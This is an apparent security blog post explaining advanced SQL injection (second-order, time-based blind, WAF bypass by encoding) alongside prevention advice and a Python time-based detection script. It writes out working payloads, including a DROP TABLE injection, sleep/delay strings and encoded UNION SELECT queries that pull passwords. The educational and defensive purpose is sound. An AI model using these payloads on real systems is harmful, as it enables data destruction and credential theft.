Advanced SQL Injection Techniques in Modern Web Applications
SQL injection remains one of the most critical vulnerabilities in web applications, despite being well-known for decades. In this post, I’ll explore advanced SQL injection techniques that work against modern web applications and frameworks.
Modern Challenges
Today’s web applications often implement various protection mechanisms:
- Web Application Firewalls (WAFs)
- Prepared statements and parameterized queries
- Input validation and sanitization
- Modern framework protections
However, vulnerabilities still exist, and attackers have developed sophisticated techniques to bypass these protections.
Advanced Techniques
1. Second-Order SQL Injection
This technique involves injecting malicious SQL code that gets stored in the database and executed later when the data is retrieved and used in another SQL query.
-- Initial injection (stored in user profile)
'; DROP TABLE users; --
-- Later executed when profile data is used
SELECT * FROM posts WHERE author = ''; DROP TABLE users; --'
2. Blind SQL Injection with Time Delays
When error messages are suppressed, time-based attacks can be effective:
'; IF (SELECT COUNT(*) FROM users WHERE username='admin') = 1 WAITFOR DELAY '00:00:05'; --
3. WAF Bypass Techniques
Modern WAFs can often be bypassed using various encoding and obfuscation techniques:
-- URL encoding
%27%20UNION%20SELECT%20null%2C%20password%20FROM%20users%20--%20
-- Double encoding
%2527%2520UNION%2520SELECT%2520null%252C%2520password%2520FROM%2520users%2520--
-- Case variation
' uNiOn SeLeCt null, password FrOm users --
Prevention Strategies
1. Parameterized Queries
Always use parameterized queries or prepared statements:
# Secure approach
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
# Vulnerable approach
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")
2. Input Validation
Implement strict input validation:
import re
def validate_user_input(user_input):
# Allow only alphanumeric characters
pattern = re.compile(r'^[a-zA-Z0-9]+$')
return pattern.match(user_input) is not None
3. Least Privilege
Database users should have minimal necessary permissions:
-- Create restricted user
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE ON webapp_db.* TO 'webapp'@'localhost';
-- Do NOT grant DELETE, DROP, or administrative privileges
Testing Tools
I’ve developed several tools for SQL injection testing:
SQLi Detector
A Python script that automates SQL injection detection:
import requests
import time
def test_time_based_sqli(url, param):
payloads = [
"'; WAITFOR DELAY '00:00:05'; --",
"' OR SLEEP(5); --",
"' || pg_sleep(5); --"
]
for payload in payloads:
start_time = time.time()
response = requests.get(url, params={param: payload})
response_time = time.time() - start_time
if response_time > 5:
return True, payload
return False, None
Real-World Examples
In my penetration testing engagements, I’ve discovered SQL injection vulnerabilities in:
- E-commerce Platforms: Injection in product search functionality
- CMS Systems: Vulnerabilities in admin panels
- Custom Applications: Poor input validation in forms
- API Endpoints: JSON-based SQL injection
Conclusion
SQL injection continues to be a significant threat. While modern frameworks provide better protection, developers must remain vigilant and implement proper security measures. Regular security testing and code reviews are essential.
References
This post is part of my ongoing security research. All examples are for educational purposes and should only be used in authorized penetration testing environments.